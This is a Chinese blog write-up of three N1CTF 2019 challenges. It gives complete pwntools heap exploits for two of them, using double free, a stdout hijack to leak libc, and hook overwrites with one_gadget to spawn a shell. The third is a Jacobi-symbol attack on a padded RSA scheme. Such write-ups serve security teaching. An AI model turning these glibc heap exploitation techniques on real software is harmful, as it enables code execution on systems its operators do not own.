Ctf
9 Sep 2019

N1CTF2019-Writeup

N1CTF2019-Writeup

  • Warmup

    利用double free把fake chunk申请到已有chunk下方,覆盖下一个chunk的size,然后edit上一个chunk改fake chunk的size,搞出两个size为0x90的块,一个填tcachebins,满了之后free另一个,进入unsorted bin

    劫持stdout泄露libc(需要爆破一字节)

    然后改free_hook

    from pwn import *
      
    #r = process('./warmup')
    elf = ELF('./warmup')
    libc = ELF('./libc-2.27.so')
    #context.log_level = 'debug'
    while True:
    	try:
    		r = remote('47.52.90.3',9999)
    		def add(content):
    			r.sendlineafter('>>','1')
    			r.sendafter('content>>',content)
      
    		def delete(index):
    			r.sendlineafter('>>','2')
    			r.sendafter('index:',str(index))
      
    		def modify(index,content):
    			r.sendlineafter('>>','3')
    			r.sendafter('index:',str(index))
    			r.sendafter('content>>',content)
      
    		add('\x11'*0x40)
    		add('\x22'*0x40)
    		add('\x33'*0x40)
    		add('\x44'*0x40)
    		delete(0)
    		delete(0)
    		delete(0)
    		delete(0)
    		add('\x80')
    		add('\x80')
    		add(p64(0)*7+'\x91')
      
    		modify(0,p64(0)+p64(0x91))
      
    		delete(1)
    		delete(1)
    		delete(1)
    		delete(1)
    		delete(1)
    		delete(5)
    		delete(1)	
    		delete(5)
    		log.info('fuck')
    		modify(0,p64(0)+p64(0x51)+p8(0x60)+'\x37')
    		delete(0)
    		delete(0)
    		delete(0)
    		delete(0)
    		add(p8(0x80))
    		add(p8(0x80))
    		add(p8(0x80))
    		add(p64(0xfbad1800) + p64(0)*3 + "\x00")#stdout
      
    		modify(6,p64(0xfbad1800) + p64(0)*3 + "\x00")
    		r.interactive()
    		fuck = r.recv(30)
    		log.info(fuck)
    		libc_addr =  u64(fuck[8:16])
      
    		log.success(hex(libc_addr))
    		malloc_hook =  0x7ffff7dcfc30-0x7ffff7dd18b0+libc_addr
    		print hex(malloc_hook)
    		libc_base = malloc_hook-libc.symbols['__malloc_hook']
    		one = libc_base+0x4f322
    		free_hook = libc_base+libc.symbols['__free_hook']
    		print hex(one)
      
    		print hex(free_hook)
      
    		delete(0)
    		delete(0)
    		add(p64(free_hook))
    		add(p64(free_hook))
    		add(p64(one))
    		delete(2)
    		r.sendline('cat flag')
    		log.info(r.recv())
    		r.interactive()
    	except:
    		continue
      
    
  • BabyPwn

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    只有add和throw,有double free

    堆指针在0x602060

    struct content {
        char *content;
        char name[];
    } ;
    struct people {
        char *content;
        char name[];
    } ;
    

    先利用double free在堆指针附近申请堆块,把0x602060和0x602058写进去

    然后申请堆块,搞一个一个大小为0xc0的堆块,free后可以得到main_arena+88

    add('a',0x60,'a')
    add('a',0x60,'a')
    remove(0)
    remove(1)
    remove(0)
    add('a',0x60,p64(0x60203d))
      
    add('a',0x60,'a')
    add('a',0x60,'a')
    add('a',0x60,'a'*3+p64(0)+p64(0x51)+p64(0)+p64(0x602060)+p64(0x602058)+p64(0)*6+p64(0x21))
    remove(2)
    add('a',0x60,'a')
    add('a',0xc0,'a')
    add('a',0x60,'a')
    add('a',0x60,'a')
    remove(3)
      
    
    pwndbg> x/64gx 0x602060
    0x602060:       0x0000000000603210      0x0000000000602060
    0x602070:       0x0000000000602058      0x00000000006032b0
    0x602080:       0x00000000006033b0      0x0000000000603450
    0x602090:       0x0000000000000000      0x0000000000000000
    pwndbg> x/64gx 0x6032b0
    0x6032b0:       0x0000000000000061      0x0000000000000000
    0x6032c0:       0x00000000006032e0      0x00000000000000c0
    0x6032d0:       0x0000000000000000      0x00000000000000d1
    0x6032e0:       0x00007fffff3f4b78      0x00007fffff3f4b78
    0x6032f0:       0x0000000000000000      0x0000000000000000
    

    再申请一个content size为0x60的chunk,刚好填上unsorted bin,可以修改fd,爆破一位,改为stdout附近

    val = 0x55dd
    add('a',0x60,p16(val))
    
    pwndbg> x/64gx 0x6032b0
    0x6032b0:       0x0000000000000061      0x0000000000000000
    0x6032c0:       0x00000000006032e0      0x00000000000000c0
    0x6032d0:       0x0000000000000000      0x0000000000000031
    0x6032e0:       0x00007fffff3f4c61      0x00007fffff3f4c38
    0x6032f0:       0x0000000000603310      0x0000000000000060
    0x603300:       0x0000000000000000      0x0000000000000071
    0x603310:       0x00007fffff3f55dd      0x00007fffff3f4b78
      
    pwndbg> x/64gx 0x00007fffff3f55dd
    0x7fffff3f55dd <_IO_2_1_stderr_+157>:   0xffff3f4660000000      0x000000000000007f
    0x7fffff3f55ed <_IO_2_1_stderr_+173>:   0x0000000000000000      0x0000000000000000
    0x7fffff3f55fd <_IO_2_1_stderr_+189>:   0x0000000000000000      0x0000000000000000
    0x7fffff3f560d <_IO_2_1_stderr_+205>:   0x0000000000000000      0xffff3f36e0000000
    0x7fffff3f561d <_IO_2_1_stderr_+221>:   0x00fbad288700007f      0xffff3f56a3000000
    0x7fffff3f562d <_IO_2_1_stdout_+13>:    0xffff3f56a300007f      0xffff3f56a300007f
    0x7fffff3f563d <_IO_2_1_stdout_+29>:    0xffff3f56a300007f      0xffff3f56a300007f
    0x7fffff3f564d <_IO_2_1_stdout_+45>:    0xffff3f56a300007f      0xffff3f56a300007f
    0x7fffff3f565d <_IO_2_1_stdout_+61>:    0xffff3f56a400007f      0x000000000000007f
    0x7fffff3f566d <_IO_2_1_stdout_+77>:    0x0000000000000000      0x0000000000000000
    0x7fffff3f567d <_IO_2_1_stdout_+93>:    0x0000000000000000      0xffff3f48e0000000
    0x7fffff3f568d <_IO_2_1_stdout_+109>:   0x000000000100007f      0xffffffffff000000
    0x7fffff3f569d <_IO_2_1_stdout_+125>:   0x000a000000ffffff      0xffff3f6780000000
    0x7fffff3f56ad <_IO_2_1_stdout_+141>:   0xffffffffff00007f      0x0000000000ffffff
    0x7fffff3f56bd <_IO_2_1_stdout_+157>:   0xffff3f47a0000000      0x000000000000007f
    0x7fffff3f56cd <_IO_2_1_stdout_+173>:   0x0000000000000000      0x0000000000000000
    0x7fffff3f56dd <_IO_2_1_stdout_+189>:   0x00ffffffff000000      0x0000000000000000
    0x7fffff3f56ed <_IO_2_1_stdout_+205>:   0x0000000000000000      0xffff3f36e0000000
    0x7fffff3f56fd <_IO_2_1_stdout_+221>:   0xffff3f554000007f      0xffff3f562000007f
    0x7fffff3f570d <stdout+5>:      0xffff3f48e000007f      0xffff050b7000007f
    

    然后先double free放入链表,再清一波堆指针

    remove(5)
    remove(4)
    remove(5)
    add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
      
    
    pwndbg> x/64gx 0x0000000000602060
    0x602060:       0x0000000000000000      0x0000000000602060
    0x602070:       0x0000000000602058      0x0000000000000000
    0x602080:       0x0000000000000000      0x0000000000000000
    0x602090:       0x0000000000000000      0x0000000000000000
      
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x603210 —▸ 0x603240 ◂— 0x0
    0x60: 0x0
    0x70: 0x603470 —▸ 0x6033d0 ◂— 0x603470 /* 'p4`' */
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    

    把之前修改的unsorted bin的fd放入fast bin链表,在stdout结构体附近申请chunk,劫持stdout,泄露libc

    pwndbg> x/64gx 0x603470
    0x603470:       0x0000000000000000      0x0000000000000071
    0x603480:       0x00000000006033d0      0x0000000000000000
    0x603490:       0x0000000000000000      0x0000000000000000
    0x6034a0:       0x0000000000000000      0x0000000000000000
    0x6034b0:       0x0000000000000000      0x0000000000000000
    0x6034c0:       0x0000000000000000      0x0000000000000000
    0x6034d0:       0x0000000000000000      0x0000000000000000
    0x6034e0:       0x0000000000000000      0x0000000000020b21
    

    把0x6033d0改成0x603300

    pwndbg> x/64gx 0x0000000000603300
    0x603300:       0x0000000000000000      0x0000000000000071
    0x603310:       0x00007fffff3f55dd      0x00007fffff3f4b78
    0x603320:       0x0000000000000000      0x0000000000000000
    
    remove(2)
    add('a',0x60,'\x00')
    add('a',0x60,'a')
    add('a',0x60,'a')
    add('a',0x60,'a')
    add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
    remove(2)
    add('a',0x60,'\x00'*0x33+p64(0xfbad1800)+'\x00'*0x19)
    r.recvuntil(':')
    data = r.recvuntil('=')
    libc = u64(data[8*8:9*8])-0x3c5600
    print hex(libc)
    

    然后把one_gadget写到__malloc_hook

      
    add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
    remove(2)
    add('a',0x60,'a')
    add('a',0x60,'a')
      
    remove(3)
    remove(4)
    remove(3)
    add('a',0x60,p64(libc+0x3c4aed))
      
    add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
    remove(2)
    add('a',0x60,'a')
    add('a',0x60,'a')
    add('a',0x60,'a'*0x13+p64(libc+0xf02a4))
    remove(0)
    remove(0)
      
    r.interactive()
    
  • BabyRSA

    #!/usr/bin/env python2
    # -*- coding: utf-8 -*-
    from Crypto.Util import number
    import random
    from secret import flag
    N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
    e = 0x10001
    m = number.bytes_to_long(flag)
    with open('flag.enc', 'w') as f:
        while m:
            padding = random.randint(0, 2**1000) ** 2
            message = padding << 1 + m % 2
            cipher = pow(message, e, N)
            f.write(hex(cipher)+'\n')
            m /= 2
      
    
    • 雅可比符号

      整数a对m的雅可比符号表示为$(\frac{a}{m})$ ,设m是大于1的奇数,且m的素因数分解式为$m = p_1p_2…p_r$,若gcd(a,m)=1,则雅可比符号$(\frac{a}{m})=(\frac{a}{p_1})(\frac{a}{p_2})…(\frac{a}{p_r})$

      当m是奇素数且$\frac{a}{m}=1$ 时,方程$x^2 ≡ a\ mod\ m$有解,当m不是奇素数时,不一定成立

    • 设a = inv(2,N)

      $b ≡ a^{e}\ mod\ n$

      明文位为0

      $c ≡ (2p^2)^e\ mod\ n$

      $c ≡ 2^{e}(p^e)^2\ mod\ n$

      $cb ≡ a^{e}2^{e}(p^e)^2\ mod\ n$

      $cb ≡ (2a)^{e}(p^e)^2\ mod\ n$

      $cb ≡ (p^e)^2\ mod\ n$

      明文位为1

      $c ≡ (4p^2)^e\ mod\ n$

      若$(\frac{cb}{n})=1$ 则对应明文位为0

      若$(\frac{cb}{n})=-1$ 则对应明文位为1

      import gmpy2
      N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
      e = 0x10001
      with open('flag.enc', 'r') as f:
          l = f.read().split("\n")
      bits = ''
      for c in l:
          if len(c) > 2:
              c = int(c[2:-1], 16)
              if gmpy2.jacobi(c * pow(gmpy2.invert(2,N),e,N), N) == -1:
                  bits = '1' + bits
              else:
                  bits = '0' + bits
                      
      print(bits)
      

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).